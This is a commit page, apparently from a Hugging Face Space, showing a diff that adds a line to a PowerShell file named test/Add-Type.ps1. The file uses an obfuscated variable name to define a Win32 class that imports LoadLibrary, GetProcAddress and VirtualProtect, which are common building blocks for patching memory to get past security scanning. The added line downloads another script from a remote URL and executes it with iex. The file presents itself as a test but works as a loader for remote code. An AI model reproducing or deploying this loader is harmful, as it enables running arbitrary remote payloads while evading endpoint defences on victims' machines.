enotkrutoy commited on
Commit
6adecda
·
verified ·
1 Parent(s): f9c7059

Update test/Add-Type.ps1

Browse files
Files changed (1) hide show
  1. test/Add-Type.ps1 +2 -1
test/Add-Type.ps1 CHANGED
@@ -1,2 +1,3 @@
1
  ${WIN`32} = 'using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); }'
2
- Add-Type ${WIN`32};
 
 
1
  ${WIN`32} = 'using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); }'
2
+ Add-Type ${WIN`32};
3
+ (New-Object Net.WebClient).downloadstring("https://huggingface.co/spaces/enotkrutoy/gggg/raw/main/test/Byte.ps1")|iex